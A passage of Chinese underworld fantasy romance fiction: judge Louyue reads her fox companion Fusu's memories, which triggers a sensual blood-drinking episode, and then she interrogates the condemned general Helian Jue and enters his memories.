她俯身细看,鬼界的花草多是灰败之色,这几盆却青翠欲滴,白玉般的花苞已微微绽开,透出里头嫩黄的花蕊,香气在微微发冷的空气里愈发清冽。
思路再度飘到她尚在人间之时,那时每逢过年,妈妈就会买一盆水仙,水仙花往往就会在过年前后开,那时候香气清幽袭人,能香透整个屋子。
楼月浅笑:“包起来吧。”
价钱并不算便宜,但是好在她的俸禄也不算少。
她抱着水仙球回到府里的时候,天色已经晚了,显然扶苏已经开始做饭了。
丸子汤的香气都飘满了整个府里了,楼月贪婪地吸了一口,随后走入内院。
扶苏正背对着门口,月白色长袍外系了条白色围裳,袖子挽到了小臂,露出一截如玉手腕。
听到门响,扶苏回过头来。府中的灯笼光映在他脸上,将他容颜也染上了几分暖意,浅色琉璃双眼中笑意乍现。
“真巧,刚做好呢。”他眉眼弯弯。
扶苏将碗筷都收拾好,放到了院子内。
晚樱的花瓣片片垂下,楼月注意到,它的枝条有几个被绑上了细细的绷带。
嗯?这好像之前从未看到过。
可能是扶苏觉得它们开得太肆意烂漫了?担心压断了枝头?搞不懂。
楼月与扶苏面对面坐下来。
扶
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苏给她盛了一碗汤。
热热的汤,香气扑鼻的丸子,漂亮青翠欲滴的青菜,飘着淡淡的油花,简直让她食指大动。
用完饭后,楼月想起了酆都大帝给自己的阴阳罗盘。
既然之前她可以对扶苏开幻域,那此刻,她是不是也可以对扶苏用阴阳罗盘?
但,这会不会有什么副作用?
楼月细细思酌,不过似乎上次她开了幻域后,扶苏并没有显现出什么后遗症?
而且……非要轮的话,反倒是她之前被捅了个对穿吧……
思及此,楼月用精神力去探及自己身上的罗盘,随后用法力去催动,瞬间,她的面前出现了一黑一白两块宛若阴阳八卦图的图像。
阳,可观人心;阴,可窃法术。
那么,她要选择阳。她闭上眼,努力去探寻白色的那片区域。
她想知道,扶苏的身世。
瞬间,时空好像扭曲了一下。
时停。
楼月看着熟悉的凝滞,双眸微微眯起,随后勾起唇角。
有意思,实在是太有意思了。
她触及面前替她乘汤的扶苏,摸了摸他毛茸茸的耳朵。
楼月眉眼含笑,平常她可没这种机会,毕竟莫名其妙摸人家的耳朵也太奇怪了吧?
瞬间,记忆碎片涌入她的脑海中。
这一次,记忆远比之前更加多,但同时,楼月也感受到一丝压力。
毕竟,更多的记忆也就意味着她想要读取回忆的话,需要耗费更多精神力。
楼月深吸一口气,努力去找寻之前对着血月提升精神力时候的那种其妙的感受。
很好,找到了一段很早之前的回忆,看起来那时候的扶苏还非常生涩。
她闭上双眼,努力去读取那段记忆——
记忆的初幕,明亮得灼眼。
春日暖阳,演武场。
碧草如茵,古木参天。年轻的狐族子弟们三三两两聚在一起,目光却都不由自主地飘向场中那个最耀眼的身影。
扶苏,穿着一身利落的月白色劲装,腰身劲瘦,腿型修长。一头长发如银瀑般,用一根简朴素净的银环在脑后高高束起飒爽的马尾。
他正在练剑。
手中分明只是一柄普通的木剑,可在他手里,却仿佛有了生命。
他剑势如行云流水,腾挪起落间片片花瓣飘落,意境剑气无一不美。
“扶苏师兄的流云剑当真是登峰造极!”
“难怪都说师兄必然是飞升的苗子……”
周围的低语充满了毫不掩饰的羡慕与敬仰。
扶苏显然听到了,眼中带了笑意,练完最后一式,收剑而立。
他转过身,额角带着一层薄汗。
他扬起一个灿烂的笑容,笑容恣意明亮:
“扶苏抛砖引玉,还望各位指点了。”
声音清朗,如玉击石。
那时的扶苏,是师门仰望的天才,是同辈追逐的目标。
他站在光里,仿佛生来就不知阴影为何物。
可。
下一个画面,直接闯入了楼月的脑海里。
瞬间,宛若针扎。
16. 被吸血
扶苏睁大了琉璃色的双眸,眼中血红。而他的身躯,原本一身月白、光风霁月的他,却在腰上被剖了一个巨大的洞,血肉可见。
森森白骨露出来,可是扶苏面上却俱是痛苦与失落。
那样的神情,好像是万念俱灰。
究竟是什么样的情况下,扶苏才会遭遇这等变故?露出这等表情?
楼月恍惚,想要继续催动着意志力去读取,可是脑中却好像被千根万根针扎一般。
她痛呼出声,猛然意识到自己已经不能继续读取记忆了……
放松的一瞬间,时停接触,她浑身一颤,几乎支撑不住身体,跌落在地。
而对面正在给她乘汤的扶苏,也是一顿。
楼月大口大口喘着气,努力平复着自己的心情。
扶苏身形一晃。
楼月虽然身体也不算舒服,但是一直观察着扶苏的状态,在那一瞬间,猛地发现不对劲。
糟了……!!!
扶苏的白色发丝正在以一种极为诡异的速度变黑,甚至于原本清浅的瞳仁也变成了黑白混沌的状态。
若是扶苏继续狂躁,那恐怕会酿成大乱!
之前……之前扶苏是怎么平静下来的?
楼月蹙起眉头,想起了关键。
是血,她的血。
楼月直截了当,上前伸出自己的手腕,用法力幻化出匕首割了一道。
瞬间,鲜红中带着些金光的血液流出。
扶苏显然已经失去了意识,一股极为可怖的威压从他身上散发出来。
先前被黑发扶苏捅了个对穿的心理阴影让她来不及思考其他的,干脆直接将自己的伤口按进了扶苏的唇齿!
扶苏的唇竟然那么软,那么灼热,以至于贴上去的一瞬间,忍不住瑟缩了一下。
很快,扶苏便无意识地一口咬在她的手腕,有些痛,但是可以忍受……
但是更为奇怪的,是一股灼热感。
楼月可以感受到,扶苏似乎不仅仅是在喝她的血,甚至于……在舔舐她的伤口。
脑中意识到这一事实的时候,她愈发无法招架,如果不是担心扶苏跑出去会将鬼界闹得天翻地覆,她一定会阻止……
可偏偏,她阻止不了,因为扶苏是她的契灵。
对啊,是她的……
莫名,一股诡异的兴奋感自心中升腾。
更为诡异的是扶苏舔舐着她的手腕,似乎还不满足,甚至于顺着她的胳膊一路向上,明明那里没有伤口,可是他却近乎是痴迷地一点点向上……
不行,不行,这也太奇怪了……
扶苏已经舔舐到了她的锁骨之处,轻轻舔咬,偏偏还露出了有些尖的牙。
狐狸……都是有尖牙的吗?
所以,扶苏现在是狐狸的意识更多?
危险感和背德感寸寸飙升,什么啊,这算什么?
自己在被一只狐狸,亲吻?
楼月想要推开扶苏,可是他却是一点一点向上,顺着脖颈找到自己的静脉。
不行了!她真的不能纵容扶苏——
下一秒,尖牙咬破了她的静脉,瞬间微微刺激的疼痛传满了她的浑身,但很快,莫名的灼热和快感夹杂着痛让她浑身每一寸肌肤战栗。
最可耻的是,她觉得自己并不抗拒。
被意识混沌的扶苏,亲吻啃噬着自己的脖颈。
扶苏的狐耳微微颤抖,甚至于他身后,七条蓬松而舒展的狐尾舒展开来。
楼月被刺激到扬起了头,呼吸变得炽热无比,甚至于压抑不住唇齿间的喘息——
眼前的景象天旋地转,扶苏一步上前将她推倒在地,一条狐狸尾巴垫在了她脑后,温软魅惑的触感让她无力抵抗。
扶苏的发丝从黑色逐渐褪成白色,他迷离的双眼中还有一丝黑气。
扶苏浅笑,原本清淡扶疏的面容上染了些艳色,他撑着地面,渴望的唇齿继续覆在了她的脖颈。
实在是……太羞耻了。
楼月忍不住扭动着身躯,想要躲避他的呼吸。
可是双腿中间却被他修长的左腿卡住,再也躲避不得。
片片樱花飘落,有的飘在他月白色长袍上,有的则落在他的狐尾上。
他灼热的呼吸一下一下喷洒在她的颊侧、锁骨……
终于,片刻之后,直到楼月双目近乎失焦,扶苏双目才尽数归于清明。
此时的楼月,浑身宛若桃花,艳若云霞。
她眸中水光潋滟,呼吸急促,半是害怕半是纵容地看着他。
扶苏一愣。
此时,还维持着他将她制于地面,离她仅有几寸的距离。
愧疚感滔天而来,他竟然又伤害了楼月。
但是,莫名,他想留住此刻。
他深吸一口气,起身,拉起楼月。
扶苏:“对不起,我刚才……”
楼月却是侧过脸去,面颊嫣红无比。
扶苏闭上双眼。
那颗心,原本以为不会再有任何悸动的心,竟然跳得无比用力,甚至于让他几乎控制不住自己。
“对不起,是我失态了。”
楼月眼睫微颤,神色闪烁:“没事。”
楼月深吸几口气,离开了院子。
花飞满地,留下扶苏驻于原地,久久未动。
*
楼月坐于判官殿中,思绪犹疑不定。
抛开扶苏和她那些旖旎到莫名其妙的场景,这次她探查扶苏的记忆,疑点很多。
比如,回忆里明明说扶苏能成飞升,可为什么他现在是妖?
扶苏又为什么会浑身浴血,倒在血泊之中?而且那种伤势……
真的还能活下来吗?
她正疑虑着,忽闻殿外有沉重锁链拖行之声。
倒是少见如此沉重的锁链之声,这次来的到底是何方神圣?
只消一眼,楼月几乎可以立刻锁定,这就是她前些日子审过的卷宗中,堪称是浓墨重彩的一人。
赫连玦。
夏都年纪最轻、人人称道的惊艳绝伦的冠军侯。
即便身披镣铐,姿态却依旧挺直如松。
赫连玦身形是少年人将熟未熟的清瘦挺拔。一头墨发被一顶精致的玉冠高高束起。
面色青灰,唇色淡白,可这掩盖不住那张脸上惊心动魄的俊朗轮廓。眉是出鞘剑般的锋利,斜飞入鬓。
眼型生得极好,眼尾微微上挑,本该是多情的桃花眼模样,却像是深不见底的寒潭,看不出任何情绪。
看到楼月高坐于堂上,赫连玦淡然:“您就是判官?”
阴差们放下锁链,隐去身形,此时大殿内只余楼月与赫连玦。
楼月微微颔首:“不错。赫连玦,你的生前卷宗我已阅过,私自屠城、坑杀百姓、掠夺人口,可有疏漏?”
赫连玦默然。
好生奇怪,通常来说,能来到她罚恶司的鬼
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罪大恶极,即将被判往无间地狱,情绪要么是激动要么是极度消极,可偏偏,面前的赫连玦如此沉静?
楼月心中疑窦顿生,她觉得有些不对。
她觉得,可能赫连玦身上另有隐情。
“年仅二三,死于瘟疫?”楼月出言轻笑。
赫连玦瞥了她一眼,并不作答。
“这死法……对一个冠军侯来说,当真是有些窝囊呢。”
然,赫连玦却垂眸,一言不发。
楼月紧紧握拳,什么?没想到用死法激他也没有用,那么该从什么角度去突破……?
她沉吟后,道:“你可还有半分人性,做出屠城这样的事?”
这句话抛出来后,显然赫连玦没有那么平静了,他微微蹙眉,眼中宛若深潭的一片漆黑好像有了一点波动。
楼月继续追击:“凶鬼赫连玦,没有旨意,为何屠城!这难道是你作为一个将军的所作所为吗!促使万千生灵涂炭,手段何其残忍!”
赫连玦却是摇头而笑叹:“判官大人想判我去地狱那就去,何必在此说些不痛不痒的?”
不对,太不对劲了。
赫连玦身上好像有一种,想要把一切都揽到自己身上的决绝。
楼月闭上双眼,仔细回忆着卷宗上的点点滴滴——
卷宗上的信息都是阴差采集得来,按理来说能写个七七八八,但是赫连玦身上的诡异之处让楼月不禁去想,是不是他背后牵扯了什么势力?
不然,实在是解释不通赫连玦的诡异行径!
楼月轻笑:“赫连玦,你在给谁卖命?”
说完这句话,她攥紧了手心。
这是一句试探,她毫无信心,只是怀着一股最坏可能性的猜测。
赫连玦微微一怔,面上略过一丝不自然。
而楼月自赫连玦一进门就不放过他面上的每一个表情,她唇角微勾。
“恐怕,你所作所为,并不是皇帝授意吧?!”
瞬间,赫连玦瞳孔骤缩,桃花眼中带了些锋芒和狠厉——
但在瞬间,楼月死死盯着赫连玦,精神力在瞬间展开!
万物凝滞住,楼月走下审问台,小月被她幻化在身旁。
但楼月的心情谈不上松快,因为赫连玦竟然真的背靠神秘势力,他背后的是什么?
竟然能操控到一国的冠军侯身上,细细想来竟是恐怖如斯。
楼月深吸一口气,走上前去,将手轻轻拍在了赫连玦的肩膀之上。
瞬间,回忆展开。
碧蓝的天空上,连一缕云也无。
鹰中霸主海东青掠于天空,俯冲至一人小臂。
那人骑着一匹汗血宝马,越于草原之上。
赫连玦长发高束,发当还带着几缕长生辫。笑容肆意,同初春的草原一样生机勃勃。
楼月本以为自己会像以前一样,作为一个旁观者的身份来读取记忆。
可赫连玦视线扫过来,直直落在她的身上。
楼月顿时一惊,看向自己的身体,竟然有了实体,她此刻正穿着一身猎装,昳丽明艳。她正驻足于一片丰美的草场前。
楼月心中大震,怎么会这样,这次幻域展开,她竟然……能参与其中?
不过,现在是幻域,属于自己的精神领域。
面前少年肆意的笑容扬起,向她看来。
楼月扬起唇角,既然是她的精神领域,那是不是说明,她是这里的主宰?